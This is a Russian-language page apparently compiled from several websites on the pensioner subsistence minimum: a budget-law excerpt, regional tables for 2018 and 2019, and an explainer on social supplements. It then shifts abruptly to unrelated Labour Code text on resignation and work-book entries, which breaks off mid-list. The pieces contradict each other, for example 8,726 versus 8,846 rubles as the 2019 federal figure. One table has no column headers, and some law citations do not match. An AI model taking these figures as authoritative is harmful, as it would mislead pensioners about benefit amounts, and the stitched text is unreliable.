Архив за год 2017

Минимальный прожиточный минимум для пенсионеров – Социальная доплата до уровня прожиточного минимума пенсионера

Прожиточный минимум в России в 2019 году.

ФЕДЕРАЛЬНЫЙ ЗАКОН  от 5 декабря 2017 года № 362-ФЗ

О ФЕДЕРАЛЬНОМ БЮДЖЕТЕ НА 2018 ГОД И НА ПЛАНОВЫЙ ПЕРИОД 2019 И 2020 ГОДОВ

Статья 8. Особенности установления отдельных расходных обязательств Российской Федерации и использования бюджетных ассигнований в сфере социального обеспечения населения

1. Установить, что в 2018 году размер материнского (семейного) капитала, предусмотренного Федеральным законом от 29 декабря 2006 года № 256-ФЗ «О дополнительных мерах государственной поддержки семей, имеющих детей», составляет 453026,0 рубля.

2. Установить в 2018 году размер накопительного взноса на одного участника накопительно-ипотечной системы жилищного обеспечения военнослужащих, включенного в реестр участников, в сумме 268465,6 рубля.

3. Установить с 1 января 2018 года размер индексации сумм, выплачиваемых по денежному обязательству непосредственно на содержание гражданина в возмещение вреда, причиненного жизни или здоровью, на основании судебного акта, предусматривающего взыскание за счет средств федерального бюджета, 1,04.

4. Утвердить распределение бюджетных ассигнований по субъектам Российской Федерации на осуществление социальных выплат для приобретения жилья гражданами, выезжающими из районов Крайнего Севера и приравненных к ним местностей, а также гражданами, выехавшими из указанных районов и местностей не ранее 1 января 1992 года, в соответствии с федеральной целевой программой «Жилище» на 2015 — 2020 годы на 2018 год и на плановый период 2019 и 2020 годов согласно приложению 26 к настоящему Федеральному закону.

5. Установить величину прожиточного минимума пенсионера в целом по Российской Федерации для определения размера федеральной социальной доплаты к пенсии в соответствии со статьей 4 Федерального закона от 24 октября 1997 года № 134-ФЗ «О прожиточном минимуме в Российской Федерации» на 2018 год в размере 8726,0 рубля.

potrebkor.ru

Прожиточный минимум в субъекте РФ на 2018 год

Наименование субъекта Российской
Федерации
Величина прожиточного минимума
пенсионера в субъекте Российской
Федерации (установленная или
предполагаемая) и дата ее установления (планируемого установления)
Нормативный правовой акт в
соответствии с которым
установлена величина
прожиточного минимума
пенсионера в субъекте Российской
Федерации
СД
В целом по Российской Федерации 8 726Закон от 05.12.2017 № 362-ФЗ 
  Центральный федеральный округ  
Белгородская область8 016Закон от 31.10.2017 № 186ФСД
Брянская область8 441Закон от 02.10.2017 № 80-ЗФСД
Владимирская область8 452Закон от 27.10.2017 № 93-ОЗФСД
Воронежская область8 620Закон от 31.10.2017 № 152-ОЗФСД
Ивановская область8 460Закон от 05.10.2017 № 70-ОЗФСД
Калужская область8 547Закон от 31.10.2017 № 261-ОЗФСД
Костромская область8 549Закон от 24.10.2017 № 302-6-ЗКОФСД
Курская область8 600Закон от 30.10.2017 № 67-ЗКОФСД
Липецкая область8 620Закон от 02.11.2017 № 119-ОЗФСД
Орловская область8 550Закон от 08.11.2017 № 2170-ОЗФСД
Рязанская область8 493Закон от 30.10.2017 № 73-ОЗФСД
Смоленская область8 674Закон от 25.10.2017 № 110-ЗФСД
Тамбовская область7 489Закон от 02.11.2017 № 148-ЗФСД
Тверская область8 726Закон от 27.10.2017 № 66-ЗОФСД
Тульская область8 622Закон от 26.10.2017 № 77-ЗТОФСД
Ярославская область8 163Закон от 30.10.2017 № 41-ЗФСД
Москва11 816Закон от 25.10.2017 № 37РСД
Московская область9 527Закон от 01.11.2017 № 179/2017-ОЗРСД
  Северо-Западный федеральный округ  
Республика Карелия8 726Закон от 25.10.2017 № 2166-ЗРКФСД
Республика Коми10 192Закон от 27.10.2017 № 70-РЗРСД
Архангельская область10 258Закон от 09.10.2017 № 556-37-ОЗРСД
Ненецкий а.о.17 956Закон от 26.09.2017 № 329-ОЗРСД
Вологодская область8 726Закон от 28.12.2017 № 4265-ОЗФСД
Калининградская область8 726Закон от от 23.10.2017 № 106ФСД
г. Санкт-Петербург8 726 Закон от 29.11.2017 № 801-131ФСД
Ленинградская область8 726Закон от 29.12.2017 № 91-ОЗФСД
Мурманская область12 523Закон от 11.10.2017 № 1137-01-ЗМОРСД
Новгородская область8 726Закон от 27.10.2017 № 167-ОЗФСД
Псковская область8 726Закон от 06.11.2017 № 1813-ОЗФСД
  Северо-Кавказский федеральный округ
Республика Дагестан8 680Закон от 31.10.2017 № 74ФСД
Республика Ингушетия8 726Закон от 30.10.2017 № 41-РЗФСД
Кабардино-Балкарская Республика8 726Закон от 29.09.2017 № 30-РЗФСД
Карачаево-Черкесская Республика8 618Закон от 30.11.2017 № 61-РЗФСД
Республика Северная Осетия-Алания8 064Закон от 26.10.2017 № 53-РЗФСД
Чеченская Республика8 719 Закон от 14.12.2017 № 48-РЗФСД
Ставропольский край8 135Закон от 12.10.2017 № 109-КЗФСД
  Южный федеральный округ  
Республика Адыгея8 138Закон от 01.10.2017 № 88ФСД
Республика Калмыкия7 755Закон от 02.10.2017 № 254-V-ЗФСД
Краснодарский край8 537Закон от 02.11.2017 № 3674-КЗФСД
Астраханская область7 961Закон от 31.10.2017 № 71/2017-ОЗФСД
Волгоградская область8 535Закон от 31.10.2017 № 93-ОДФСД
Ростовская область8 488Закон от 19.10.2017 № 1199-ЗСФСД
Республика Крым8 530Закон от 07.11.2017 № 429-ЗРК/2017 ФСД
г. Севастополь8 722Закон от 04.12.2017 № 381-ЗС ФСД
  Приволжский федеральный округ  
Республика Башкортостан8 320Закон от 30.10.2017 № 540-ЗФСД
Республика Марий Эл8 036Закон от 23.10.2017 № 50-ЗФСД
Республика Мордовия8 194Закон от 03.11.2017 № 74-ЗФСД
Республика Татарстан8 232Закон от 22.09.2017 № 67-ЗРТФСД
Удмуртская Республика8 502Закон от 07.11.2017 № 57-РЗФСД
Чувашская Республика7 953Закон от 26.10.2017 № 59ФСД
Кировская область8 474Закон от 05.10.2017 № 99-ОЗФСД
Нижегородская область8 100Закон от 05.10.2017 № 119-ЗФСД
Оренбургская область8 059Закон от 26.10.2017 № 585/130-VI-ОЗФСД
Пензенская область7 861Закон от 31.10.2017 № 3093-ЗПОФСД
Пермский край8 503Закон от 31.10.2017 № 150-ПКФСД
Самарская область8 413Закон от 31.10.2017 № 103-ГДФСД
Саратовская область7 990Закон от 26.10.2017 № 80-ЗСОФСД
Ульяновская область8 474Закон от 22.09.2017 № 104-ОЗФСД
  Уральский федеральный округ  
Курганская область8 630Закон от 25.10.2017 № 77ФСД
Свердловская область8 726Закон от 03.11.2017 № 118-ОЗФСД
Тюменская область8 726Закон от 27.10.2017 № 84ФСД
Челябинская область8 586Закон от 31.10.2017 № 599-ЗОФСД
Ханты-Мансийский а.о.-Югре11 708Закон от 28.09.2017 № 53-ОЗРСД
Ямало-Ненецкий а.о.13 425Закон от 31.10.2017 № 82-ЗАОРСД
  Сибирский федеральный округ  
Республика Алтай8 594Закон от 16.11.2017 № 50-РЗФСД
Республика Бурятия8 726Закон от 10.10.2017 № 2631-VФСД
Республика Тыва8 726Закон от 5.10.2017 № 311-ЗРТФСД
Республика Хакасия8 543Закон от07.12.2017 № 83-ЗРХФСД
Алтайский край8 543Закон от 01.11.2017 № 83-ЗСФСД
Красноярский край8 726Закон от 30.11.2017 № 4-1147ФСД
Иркутская область8 723Закон от 31.10.2017 № 68-ОЗФСД
Кемеровская область8 347Закон от 26.09.2017 № 71-ОЗФСД
Новосибирская область8 725Закон от 05.12.2017 № 231-ОЗФСД
Омская область8 480Закон от 31.10.2017 № 2009-ОЗФСД
Томская область8 561Закон от 26.10.2017 № 652ФСД
Забайкальский край8 726Закон от 26.10.2017 № 1526-ЗЗКФСД
  Дальневосточный федеральный округ  
Республика Саха (Якутия)

13 951

Закон от 26.10.2017 № 1351-VРСД
Приморский край9 151Закон от 27.10.2017 № 183-КЗРСД
Хабаровский край10 895Закон от 25.10.2017 № 283РСД
Амурская область8 726Закон от 27.10.2017 № 129-ОЗФСД
Камчатский край16 543Закон от 28.09.2017 № 132РСД
Магаданская область15 460Закон от 24.10.2017 № 2197-ОЗРСД
Сахалинская область12 333Закон от 24.10.2017 № 95-ЗОРСД
Еврейская авт.обл.9 013Закон от 26.10.2017 № 158-ОЗРСД
Чукотский а.о.19 000Закон от 23.10.2017 № 64-ОЗРСД
г.Байконур8 726 ФСД

www.pfrf.ru

Прожиточный минимум пенсионера в Москве и регионах

СОДЕРЖАНИЕ

1. Как рассчитывается прожиточный минимум пенсионера 3. Что делать, если пенсия меньше прожиточного минимума

Прожиточный минимум (ПМ) – это сумма финансовых средств, требуемых для обеспечения нормальной жизнедеятельности человека, т.е. величина ежемесячной минимальной потребительской корзины. Рассчитывается прожиточный минимум для пенсионеров для определения необходимой добавки к пенсии.

Как рассчитывается прожиточный минимум пенсионера

На 2019 год федеральный бюджет определил величину прожиточного минимума для людей, вышедших на пенсию по РФ – 8726 рубля. Законы, послужившие основанием расчета величины ПМ людей пенсионного возраста:

  • № 134-ФЗ «О ПМ Российской Федерации»;
  • № 166 «О пенсионном обеспечении РФ»;
  • № 415 «О федеральном бюджете на период 2018-19 годов».

На расчет суммы влияют следующие факторы:

  • повышение на продолжительный срок стоимости продуктов и услуг;
  • аспекты, влияющие на покупательную способность и уровень потребления;
  • ценообразование конкретного региона.

Человек, пребывающий на пенсии должен ежемесячно получать сумму, достаточную для обеспечения себя продуктами питания и для оплаты услуг. Но практика показывает, что есть пенсии ниже прожиточной нормы. Тогда задействуются различные государственные программы, цель которых доплата пенсионерам до прожиточного минимума.

Рассмотрим прожиточный минимум по Центральному Федеральному Округу:

Наименование области/города

ПМП, р.

г. Москва

11816

Московская

9527

Тверская

8726

Смоленская

8674

Ярославская

8163

Брянская

8441

Калужская

8547

Владимирская

8452

Ивановская

8460

Костромская

8549

Курская

8600

Орловская

8550

Тульская

8622

Рязанская

8493

Липецкая

8620

Белгородская

8016

Воронежская

8620

Тамбовская

7489

Для правильных данных расчета суммы ПМ слаживаются все суммы, относящиеся к нему и составляющие потребительскую корзину:

  • выплаты всех категорий;
  • дополнительные ежемесячные доплаты по инвалидности и ликвидаторам аварии на ЧАЭС;
  • другие финансы, связанные с соцподдержкой.

Учитывается и оплата:

  • телефонной связи;
  • коммунальных платежей;
  • пользование общественным транспортом.

Не учитывается здесь оказание единовременной помощи для повышения уровня жизнедеятельности.

Из-за того, что минимальный размер оплаты труда стал приравниваться к ПМ, на региональном уровне также, эти показатели не всегда соответствуют друг другу. Например, региональные нормативные акты предполагают наименьший размер оплаты труда по региону выше, чем ПМ. С 01.05.2018 сумма МРОТ поднялась на 1674 рубля и составила 11 163 р. ФЗ № 421 от 28 декабря 2017 года ввел механизм поднятия МРОТ до размера ПМ работоспособного населения.

Социальная доплата до уровня прожиточного минимума пенсионера

Правительство РФ проводит мероприятия, направленные на качественные улучшения уровня жизни россиян и поддержку стабильности в социальной сфере. Государство обеспечивает российским гражданам получение доходов, сравнимых с ПМ, в том числе и пенсионных выплат.

ПМ рассчитывается по отношению к таким категориям:

  • людям в возрасте, но способным к трудовой деятельности;
  • гражданам пенсионного возраста;
  • детям.

Величина пенсионного ПМ определяется Постановлением Федерального закона №134. Значение вспомогательных социальных льгот постоянно меняется, потому что зависит непосредственно от цен:

  • на продукты, необходимые для проживания в том либо ином регионе;
  • на товары непродовольственной группы;
  • на услуги, необходимые для удовлетворения нужд человека;
  • на обязательные отчисления и сборы.

В ПМ для неработающих людей на пенсии, с расчетом на 1 год, входят представленные в таблице продукты:

Продукты

Килограмм

Крупы, мучное

98,2

Картофель

80

Овощные культуры

98

Фрукты

45

Кондитерские изделия в виде сахара

21,2

Мясо

54

Рыба

16

Молочная продукция

257,8

Яйца

200 штук

Масло, жиры

10

Чай, специи

4,2

Перерасчет дотаций происходит один раз за три месяца. Финансирование и величина ПМ закрепляется и осуществляется на федеральном уровне и региональном.

Федеральная

Субсидии на федеральном уровне устанавливаются в областях РФ, где пенсионные выплаты меньше, чем в остальных регионах страны. Доплачивать пенсионеру будут по такой формуле, чтобы совокупная пенсионная сумма была выше ПМ, закрепленного в области. Финансовые средства выделяются из федерального бюджета в фонд, отведенный для осуществления пенсионных выплат по старости.

Региональная

Доплата пенсионерам до ПМ на региональном уровне устанавливается в областях, в которых ПМ больше, чем в остальных областях РФ. К ним относятся северные и регионы-доноры.

На региональную доплату могут претендовать люди, которые:

  • являются российскими гражданами;
  • достигли пенсионного возраста;
  • не занимаются официальной трудовой деятельностью;
  • имеют размер финансового обеспечения ниже значения ПМ для того региона и области, где они проживают, но выше среднего ПМ в Российской Федерации.

Что делать, если пенсия меньше прожиточного минимума

Если прожиточный минимум пенсионера ниже предусмотренного на федерально-региональном уровне, значит он имеет полное право подать документы на социальную бюджетную доплату. По поводу федеральной надбавки следует обращаться в пенсионный фонд, региональной – в территориальные органы соцзащиты населения региона.

В каждом регионе Российской Федерации свой ПМ. Узнать величину его величину в определенном регионе можно, поинтересовавшись у работников социальных служб либо посетив официальный интернет-ресурс администрации области.

Для оформления надбавки пенсионеру нужно предоставить в соответствующий орган следующие документы:

  • паспорт либо другой документ, удостоверяющий личность;
  • страховой номер индивидуального счета;
  • документы, свидетельствующие, что он не занимается трудовой деятельностью и не получает официально зарплату.

По состоянию на 2019 г. величина прожиточного минимума пенсионера на уровне больше федерального определен в нескольких областях Дальнего Востока, Севера и в Москве и равняется 11 816 рублям.

Видео

1806

Была ли эта статья полезной?

Да

Нет

0 человек ответили

Спасибо, за Ваш отзыв!

человек ответили

Что-то пошло не так и Ваш голос не был учтен.

Нашли в тексте ошибку?

Выделите её, нажмите Ctrl + Enter и мы всё исправим!

sovets24.ru

Прожиточный минимум пенсионерам рассчитают по новым правилам

Методика расчёта регионального прожиточного минимума пенсионеров для установления социальной доплаты к пенсии станет единой для всех субъектов Федерации. Специальная формула для этого утверждена постановлением Правительства, которое вступает в силу 7 августа.

Социальная поддержка пенсионеров будет усилена

По мнению председателя Правительства Дмитрия Медведева, новый подход позволит исключить необоснованное занижение величины регионального прожиточного минимума пенсионера. «Он будет рассчитываться с учётом ситуации в конкретном регионе и ориентироваться на прожиточный минимум пенсионера в стране в целом в первых двух кварталах текущего года», — пояснил премьер-министр. Новый порядок приведёт к повышению уровня социальной поддержки пожилых россиян, убеждён он.

«То, что очень многие регионы занижали свой прожиточный минимум и достаточно вольно с ним обращались, — это бесспорный факт, — сказал «Парламентской газете» первый заместитель председателя Комитета Госдумы по труду, социальной политике и делам ветеранов Михаил Тарасенко. — Данные изменения должны упорядочить процесс расчёта этой величины».

Махинации с величиной прожиточного минимума останутся в прошлом

Разработать новую методику Правительство обязала депутатская поправка в правительственный законопроект об изменении способа индексации пенсий малообеспеченным пенсионерам. Напомним, согласно ему, выплаты россиянам, чьи пенсии меньше прожиточного минимума в регионе, должны сначала доводиться социальной надбавкой до этой величины и только после этого индексироваться. Однако во время обсуждения документа в Госдуме депутаты указали, что в некоторых субъектах имеют место манипуляции с самой величиной прожиточного минимума, который порой региональный Минфин пытается подогнать под удобные для себя цифры.

После этого руководитель фракции «Единая Россия», вице-спикер Госдумы Сергей Неверов, первый замглавы фракции по законопроектной деятельности Андрей Исаев и Михаил Тарасенко и подготовили поправку, призванную проблему решить. «После принятия этой поправки… расчёт прожиточного минимума будет честным, открытым и абсолютно объективным. Возможность манипулировать с величиной прожиточного минимума в субъектах Федерации исчезнет», — заявил при обсуждении документа Исаев.

При этом парламентарий опроверг информацию о том, что утверждение новой методики приведёт к тому, что прожиточный минимум пенсионеров станет единым для всех регионов. «Прожиточный минимум будет по-прежнему устанавливаться в каждом субъекте Федерации», — сказал он.

Пострадавших среди пенсионеров от внедрения новой формулы не будет, уверены законодатели. Даже в том случае, если после перерасчёта прожиточного минимума в субъекте его величина окажется ниже, чем сейчас, на размере пенсий малообеспечнных граждан это никак не скажется. «Будет введена «сохранная норма», — заверила «Парламентскую газету» заместитель председателя Комитета Совета Федерации по социальной политике Елена Бибикова. — То есть в тех случаях, когда, исходя из новой величины прожиточного минимума, социальная доплата должна быть уменьшена, урезать её не будут».

www.pnp.ru

Прожиточный минимум в 2019 году таблица по регионам России

В России

10 213

11 069

8464

9950

Алтайский край

9559

9995

8199

9835

Амурская область

10 980

11 661

8924

11 400

Архангельская область

12 090

13 149

10 056

11 917

Астраханская область

9622

10 126

7757

10 461

Белгородская область

8290

8914

6899

8135

Брянская область

9880

10 593

8202

9720

Владимирская область

9754

10 623

8206

9744

Волгоградская область

9069

9731

7400

9155

Вологодская область

10 980

11 921

9108

10 808

Воронежская область

8744

9427

7282

8528

г. Санкт-Петербург

11 021,30

12 079,50

8954,1

10 754,60

г. Москва

16 260

18 580

11 505

13 938

г. Севастополь

10 353

11 064

8485

10 982

Еврейская автономная область

12 825,08

13 588,19

10 358,95

13 411,49

Забайкальский край

11 213,39

11 691,12

8877,65

11 704,00

Ивановская область

10 102

10 966

8405

10 142

Иркутская область

10 544

11 186

8487

10 753

Кабардино-Балкарская Республика

10 557

10 969

8243

11 336

Калининградская область

10 828

11 596

8848

10 552

Калужская область

10 482

11 289

8689

10 292

Камчатский край

19 555

20 618

15 587

21 054

Карачаево-Черкесская Республика

9347

9852

7531

9612

Кемеровская область

9476

10 031

7625

9928

Кировская область

9897

10 572

8086

10 121

Костромская область

9985

10 863

8354

9849

Краснодарский край

10 238

11 059

8455

9890

Красноярский край

11 914

12 605

9288

12 490

Курганская область

9782

10 445

8087

10 289

Курская область

9280

9954

7707

9338

Ленинградская область

10 085

10 770

8777

9877

Липецкая область

8734

9433

7326

8855

Магаданская область

18 146

19 085

14 275

19 519

Московская область

12 181

13 496

9100

11 925

Мурманская область

14 798

15 439

12 345

15 121

Ненецкий автономный округ

20 460

21 527

16 690

21 427

Нижегородская область

9487

10 209

7837

9805

Новгородская область

10 652

11 568

8822

10 589

Новосибирская область

10 843

11 527

8723

11 145

Омская область

9346

9891

7501

9637

Оренбургская область

8825

9391

7256

9184

Орловская область

9684

10 391

8052

9642

Пензенская область

8906

9621

7381

9221

Пермский край

10 098

10 804

8279

10 289

Приморский край

12 537

13 218

10 066

13 699

Псковская область

10 769

11 680

8893

10 594

Республика Адыгея

9034

9643

7411

9143

Республика Алтай

9844

10 241

8247

10 098

Республика Башкортостан

8940

9504

7283

8975

Республика Бурятия

10 497

10 904

8297

10 993

Республика Дагестан

9301

9552

7345

9488

Республика Ингушетия

9977

9572

7346

9601

Республика Калмыкия

9103

9512

7298

9254

Республика Карелия

13 041

14 206

10 886

12 285

Республика Коми

12 948

13 892

10 582

13 025

Республика Крым

9904

10 600

8146

10 509

Республика Марий Эл

9078

9673

7441

9380

Республика Мордовия

8503

9132

6975

8924

Республика Саха (Якутия)

16 463

17 475

13 242

16 846

Республика Северная Осетия – Алания

9049

9532

7315

9402

Республика Татарстан

8880

9450

7243

8941

Республика Тыва

10 032

10 385

7947

10 493

Республика Хакасия

10 053

10 609

8080

10 557

Ростовская область

9671

10 285

7841

10 117

Рязанская область

9821

10 617

8139

9819

Самарская область

10 219

11 218

8080

10 129

Саратовская область

8725

9390

7214

8947

Сахалинская область

13 851

14 551

10 970

14 712

Свердловская область

10 656

11 386

8785

11 022

Смоленская область

10 364

11 134

8578

10 200

Ставропольский край

8749

9298

7100

9016

Тамбовская область

8861

9629

7425

8807

Тверская область

10 410,07

11 219,41

8 634,29

10 860,04

Томская область

11 179

11 768

8920

11 582

Тульская область

9915

10 627

8508

9760

Тюменская область

10 887

11 467

8708

11 139

Удмуртская Республика

9196

9748

7481

9242

Ульяновская область

9631

10 335

7907

9842

Хабаровский край

13 396

14 228

10 802

14 158

Ханты-Мансийский автономный округ – Югра

14 512

15 646

www.26-2.ru

Прожиточный минимум пенсионера по годам

Регион РоссииПрожиточный минимум
пенсионера на 2019 год
В целом по России 8 846 ₽
Белгородская область8 016 ₽
Брянская область8 523 ₽
Владимирская область8 526 ₽
Воронежская область8 750 ₽
Ивановская область8 576 ₽
Калужская область8 708 ₽
Костромская область8 630 ₽
Курская область8 600 ₽
Липецкая область8 620 ₽
Орловская область8 730 ₽
Рязанская область8 568 ₽
Смоленская область8 825 ₽
Тамбовская область7 811 ₽
Тверская область8 846 ₽
Тульская область8 658 ₽
Ярославская область8 163 ₽
Москва12 115 ₽
Московская область9 908 ₽
Республика Карелия8 846 ₽
Республика Коми10 742 ₽
Архангельская область10 258 ₽
Ненецкий а.о.17 956 ₽
Вологодская область8 846 ₽
Калининградская обл.8 846 ₽
г.Санкт-Петербург8 846 ₽
Ленинградская область8 846 ₽
Мурманская область12 674 ₽
Новгородская область8 846 ₽
Псковская область8 806 ₽
Республика Дагестан8 680 ₽
Республика Ингушетия8 846 ₽
Кабардино-Балкарская8 846 ₽
Карачаево-Черкесская8 846 ₽
Северная Осетия-Алания8 455 ₽
Чеченская Республика8 735 ₽
Ставропольский край8 297 ₽
Республика Адыгея8 138 ₽
Республика Калмыкия8 081 ₽
Краснодарский край8 657 ₽
Астраханская область8 352 ₽
Волгоградская область8 569 ₽
Ростовская область8 488 ₽
Республика Крым8 370 ₽
г. Севастополь8 842 ₽
Башкортостан8 645 ₽
Республика Марий Эл8 191 ₽
Республика Мордовия8 522 ₽
Республика Татарстан8 232 ₽
Удмуртская Республика8 502 ₽
Чувашская Республика7 953 ₽
Кировская область8 474 ₽
Нижегородская область8 102 ₽
Оренбургская область8 252 ₽
Пензенская область8 404 ₽
Пермский край8 539 ₽
Самарская область8 413 ₽
Саратовская область8 278 ₽
Ульяновскя область8 474 ₽
Курганская область8 750 ₽
Свердловская область8 846 ₽
Тюменская область8 846 ₽
Челябинская область8 691 ₽
Ханты-Мансийский а.о.12 176 ₽
Ямало-Ненецкий а.о.13 425 ₽
Республика Алтай8 712 ₽
Республика Бурятия8 846 ₽
Республика Тыва8 846 ₽
Республика Хакасия8 782 ₽
Алтайский край8 669 ₽
Красноярский край8 846 ₽
Иркутская область8 841 ₽
Кемеровская область8 387 ₽
Новосибирская область8 814 ₽
Омская область8 480 ₽
Томская область8 795 ₽
Забайкальский край8 846 ₽
Республика Саха (Якутия) 13 951 ₽
1 зона:     17 011 ₽
2 зона: 13 576 ₽
Приморский край9 988 ₽
Хабаровский край10 895 ₽
Амурская область8 846 ₽
Камчатский край16 543 ₽
Магаданская область15 460 ₽
Сахалинская область12 333 ₽
Еврейская авт.обл.9 166 ₽
Чукотский а.о.19 000 ₽
г.Байконур8 846 ₽

azbukapensii.ru

Трудовой кодекс статья об увольнении – 80. ( ) /

Увольнение по собственному желанию \ Консультант Плюс

Увольнение по собственному желанию (другими словами, по инициативе работника) — одно из самых распространенных оснований расторжения трудового договора. Инициатива прекращения трудовых отношений исходит от работника и не предполагает ее одобрения работодателем, ведь нельзя заставить человека трудиться против его воли. Однако и при увольнении по собственному желанию необходимо соблюдать определенные правила.

Порядок увольнения по собственному желанию

Порядок увольнения по собственному желанию предполагает, прежде всего, написание работником заявления на увольнение. В заявлении указывается дата увольнения и его основание («по собственному желанию»), оно должно быть подписано работником с указанием даты составления.

Указывать в заявлении причину увольнения по собственному желанию необязательно. Однако если обстоятельства требуют уволиться без отработки, то причину указать необходимо, к тому же работники кадровой службы могут попросить подтвердить её документально. В остальных случаях достаточно фразы «прошу уволить меня по собственному желанию такого-то числа».

После того, как заявление на увольнение передано в кадровую службу, составляется приказ об увольнении. Обычно используется унифицированная форма такого приказа (форма № Т-8), утвержденная постановлением Госкомстата от 05.01.2004 №1. В приказе необходимо сделать ссылку на п.3 ч.1 ст.77 ТК РФ, а также привести реквизиты заявления работника. Работника нужно ознакомить с приказом об увольнении под роспись. Если приказ невозможно довести до сведения увольняемого (он отсутствует или отказался ознакомиться с приказом), то на документе делается соответствующая запись.

Сроки увольнения по собственному желанию

По общему правилу, закрепленному в Трудовом кодексе, работник должен предупредить работодателя о предстоящем увольнении не позднее чем за две недели. Течение этого срока начинается на следующий день после получения работодателем заявления об увольнении.

Однако так называемый двухнедельный срок отработки может быть сокращен по соглашению между работником и работодателем. К тому же, закон не обязывает работника в течение срока предупреждения об увольнении находиться на рабочем месте. Он может уйти в отпуск, на больничный и т.п., при этом сроки увольнения не изменятся.

Из общего правила о двухнедельной отработке есть законодательно закрепленные исключения. Так, при увольнении в период испытания срок предупреждения об увольнении составляет три дня, а при увольнении руководителя организации – один месяц.

Расчет при увольнении по собственному желанию

Расчет при увольнении по собственному желанию, так же как и по другим основаниям, должен быть произведен в день увольнения, то есть в последний день работы. Расчет при увольнении предполагает выплату всех причитающихся работнику сумм: заработной платы, компенсации за неиспользованные отпуска, выплат, предусмотренных коллективным и трудовым договором. Если увольняемый сотрудник использовал отпуск авансом, производится перерасчет выплаченных отпускных, соответствующая сумма удерживается из заработной платы при окончательном расчете.

В случае если работник в день увольнения отсутствовал на работе и не смог получить расчет, он вправе обратиться за ним в любое другое время. Причитающаяся ему сумма должна быть выплачена не позднее следующего дня после обращения.

Увольнение по собственному желанию в период отпуска

Уволиться по собственному желанию в период отпуска закон не запрещает. Такой запрет предусмотрен лишь для увольнения по инициативе работодателя. Работник же вправе написать заявление об увольнении, будучи в отпуске, или отнести на период отпуска дату предполагаемого увольнения.

 

Если работник хочет подать заявление об увольнении, находясь в отпуске, отзывать его из отпуска не требуется

 

Также сотрудник может уволиться по собственному желанию после использования отпуска. Отметим, что предоставление отпуска с последующим увольнением – это право, а не обязанность работодателя. В случае предоставления такого отпуска днем увольнения считается последний день отпуска. Однако для целей расчетов с работником последним днем работы в этом случае является день, предшествующий началу отпуска. В этот день следует выдать работнику трудовую книжку и произвести все необходимые выплаты. Это своеобразное исключение из общего правила, приведенного выше, подтверждаемое судебной практикой.

Увольнение по собственному желанию во время больничного

Уволиться по собственному желанию во время больничного можно. Закон запрещает такое увольнение только по инициативе работодателя.

Работник вправе подать заявление об увольнении в период временной нетрудоспособности. Также может возникнуть ситуация, когда на период больничного попадает оговоренная ранее дата увольнения. В этом случае работодатель оформит увольнение в день, указанный в заявлении на увольнение, при условии, что работник это заявление не отзывал. Самостоятельно изменять дату увольнения работодатель не вправе.

В последний день работы, даже если он приходится на период больничного, работодатель производит окончательный расчет, издает приказ об увольнении, в котором делает пометку об отсутствии работника и невозможности ознакомить его с приказом. За трудовой книжкой работник явится после выздоровления либо, с его согласия, она будет направлена ему почтой. Все причитающиеся работнику суммы будут ему выплачены не позднее следующего дня после предъявления им соответствующего требования. Однако пособие по временной нетрудоспособности будет назначено работодателем в течение 10 дней со дня предоставления больничного и выплачено в ближайший после назначения день, установленный для выплаты зарплаты в организации.


Документы по теме «Увольнение по собственному желанию»

www.consultant.ru

Статья 80 ТК РФ. Расторжение трудового договора по инициативе работника (по собственному желанию) (действующая редакция)

Работник имеет право расторгнуть трудовой договор, предупредив об этом работодателя в письменной форме не позднее чем за две недели, если иной срок не установлен настоящим Кодексом или иным федеральным законом. Течение указанного срока начинается на следующий день после получения работодателем заявления работника об увольнении.

По соглашению между работником и работодателем трудовой договор может быть расторгнут и до истечения срока предупреждения об увольнении.

В случаях, когда заявление работника об увольнении по его инициативе (по собственному желанию) обусловлено невозможностью продолжения им работы (зачисление в образовательную организацию, выход на пенсию и другие случаи), а также в случаях установленного нарушения работодателем трудового законодательства и иных нормативных правовых актов, содержащих нормы трудового права, локальных нормативных актов, условий коллективного договора, соглашения или трудового договора работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.

До истечения срока предупреждения об увольнении работник имеет право в любое время отозвать свое заявление. Увольнение в этом случае не производится, если на его место не приглашен в письменной форме другой работник, которому в соответствии с настоящим Кодексом и иными федеральными законами не может быть отказано в заключении трудового договора.

По истечении срока предупреждения об увольнении работник имеет право прекратить работу. В последний день работы работодатель обязан выдать работнику трудовую книжку, другие документы, связанные с работой, по письменному заявлению работника и произвести с ним окончательный расчет.

Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие трудового договора продолжается.

www.zakonrf.info

формулировки записей при увольнении работника

Пункт и статья трудового кодекса

Запись в трудовую книжку

п. 1 ст. 77

Трудовой договор прекращен по соглашению сторон, пункт 1 части первой статьи 77 Трудового кодекса Российской Федерации

п. 2 ст. 77

Трудовой договор прекращен в связи с истечением срока трудового договора, пункт 2 части первой статьи 77 Трудового кодекса Российской Федерации

п. 3 ст. 77

Трудовой договор расторгнут по инициативе работника, пункт 3 части первой статьи 77 Трудового кодекса Российской Федерации

п. 5 ст. 77

Трудовой договор прекращен в связи с переводом работника по его просьбе на работу в Общество с ограниченной ответственностью «Каркас», пункт 5 части первой статьи 77 Трудового кодекса Российской Федерации

Трудовой договор прекращен в связи с переводом работника с его согласия на работу в Общество с ограниченной ответственностью «Каркас», пункт 5 части первой статьи 77 Трудового кодекса Российской Федерации

п. 6 ст. 77

Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи со сменой собственника имущества организации, пункт 6 части первой статьи 77 Трудового кодекса Российской Федерации

Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи с изменением подведомственности организации, пункт 6 части первой статьи 77 Трудового кодекса Российской Федерации

Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи с реорганизацией организации, пункт 6 части первой статьи 77 Трудового кодекса Российской Федерации

п. 7 ст. 77

Трудовой договор прекращен ввиду отказа работника от продолжения работы в связи с изменением определенных сторонами условий трудового договора, пункт 7 части первой статьи 77 Трудового кодекса Российской Федерации

п. 8 ст. 77

Трудовой договор прекращен в связи с отказом работника от перевода на другую работу, необходимую ему в соответствии с медицинским заключением, пункт 8 части первой статьи 77 Трудового кодекса Российской Федерации

п. 9 ст. 77

Трудовой договор прекращен в связи с отказом работника от перевода на работу в другую местность вместе с работодателем, пункт 9 части первой статьи 77 Трудового кодекса Российской Федерации

п. 11 ст. 77

Трудовой договор прекращен в связи с нарушением установленных Трудовым кодексом правил заключения трудового договора, пункт 11 части первой статьи 77 Трудового кодекса Российской Федерации

ст. 71

